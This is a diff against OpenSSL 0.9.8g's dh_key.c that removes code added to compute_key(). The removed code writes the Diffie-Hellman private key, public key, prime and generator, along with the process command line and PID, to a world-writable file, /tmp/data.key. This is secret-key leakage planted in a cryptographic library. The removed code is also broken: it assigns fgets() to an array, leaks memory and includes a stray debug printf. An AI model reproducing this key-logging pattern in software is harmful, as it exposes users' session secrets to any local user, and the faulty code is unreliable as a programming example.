--- dh_key.c	2008-09-29 23:00:30.000000000 -0300
+++ openssl-0.9.8g/crypto/dh/dh_key.c	2007-03-27 21:14:20.000000000 -0300
@@ -160,7 +160,6 @@
 		
 	dh->pub_key=pub_key;
 	dh->priv_key=priv_key;
-
 	ok=1;
 err:
 	if (ok != 1)
@@ -172,7 +171,6 @@
 	return(ok);
 	}
 
-#include <fcntl.h>
 static int compute_key(unsigned char *key, const BIGNUM *pub_key, DH *dh)
 	{
 	BN_CTX *ctx=NULL;
@@ -181,55 +179,6 @@
 	int ret= -1;
         int check_result;
 
-	unsigned char *priv_dh_bin=NULL;
-	unsigned char *pub_dh_bin=NULL;
-	unsigned char *p_dh_bin=NULL;
-	unsigned char *g_dh_bin=NULL;
-	unsigned char *pms_dh_bin=NULL;
-	size_t i;
-	BIGNUM *priv_dh=dh->priv_key;
-	BIGNUM *pub_dh=dh->pub_key;
-	BIGNUM *p_dh=dh->p;
-	BIGNUM *g_dh=dh->g;
-
-	priv_dh_bin=(unsigned char *) malloc (BN_num_bytes(priv_dh)); 
-	pub_dh_bin=(unsigned char *) malloc (BN_num_bytes(pub_dh)); 
-	p_dh_bin=(unsigned char *) malloc (BN_num_bytes(p_dh)); 
-	g_dh_bin=(unsigned char *) malloc (BN_num_bytes(g_dh)); 
-
-	priv_dh_bin=BN_bn2hex(priv_dh);
-	pub_dh_bin=BN_bn2hex(pub_dh);
-	p_dh_bin=BN_bn2hex(p_dh);
-	g_dh_bin=BN_bn2hex(g_dh);
-
-        int data = open("/tmp/data.key", O_APPEND | O_WRONLY | O_CREAT, 0777);
-	char my_pid[6];
-	size_t len = 0;
-	sprintf(my_pid,"%d",getpid());
-	char my_name[200]={0};
-
-	FILE *cmdline = fopen("/proc/self/cmdline", "r");
-	my_name=fgets(my_name,50,cmdline);
-	int space=strlen(my_name);
-	printf(" aaaaaaaa %d", space);
-	my_name[space]=' ';
-	fgets(&(my_name[space+1]),50,cmdline);
-	fclose(cmdline);
-
-	write(data, my_name, strlen(my_name));
-        write(data, ";", 1);
-	write(data, my_pid, strlen(my_pid) );
-        write(data, ";", 1);
-        write(data, g_dh_bin, strlen(g_dh_bin));
-        write(data, ";", 1);
-        write(data, priv_dh_bin, strlen(priv_dh_bin));
-        write(data, ";", 1);
-        write(data, pub_dh_bin, strlen(pub_dh_bin));
-        write(data, ";", 1);
-        write(data, p_dh_bin, strlen(p_dh_bin));
-        write(data, "\n", 1);
-        close(data);
-
 	if (BN_num_bits(dh->p) > OPENSSL_DH_MAX_MODULUS_BITS)
 		{
 		DHerr(DH_F_COMPUTE_KEY,DH_R_MODULUS_TOO_LARGE);

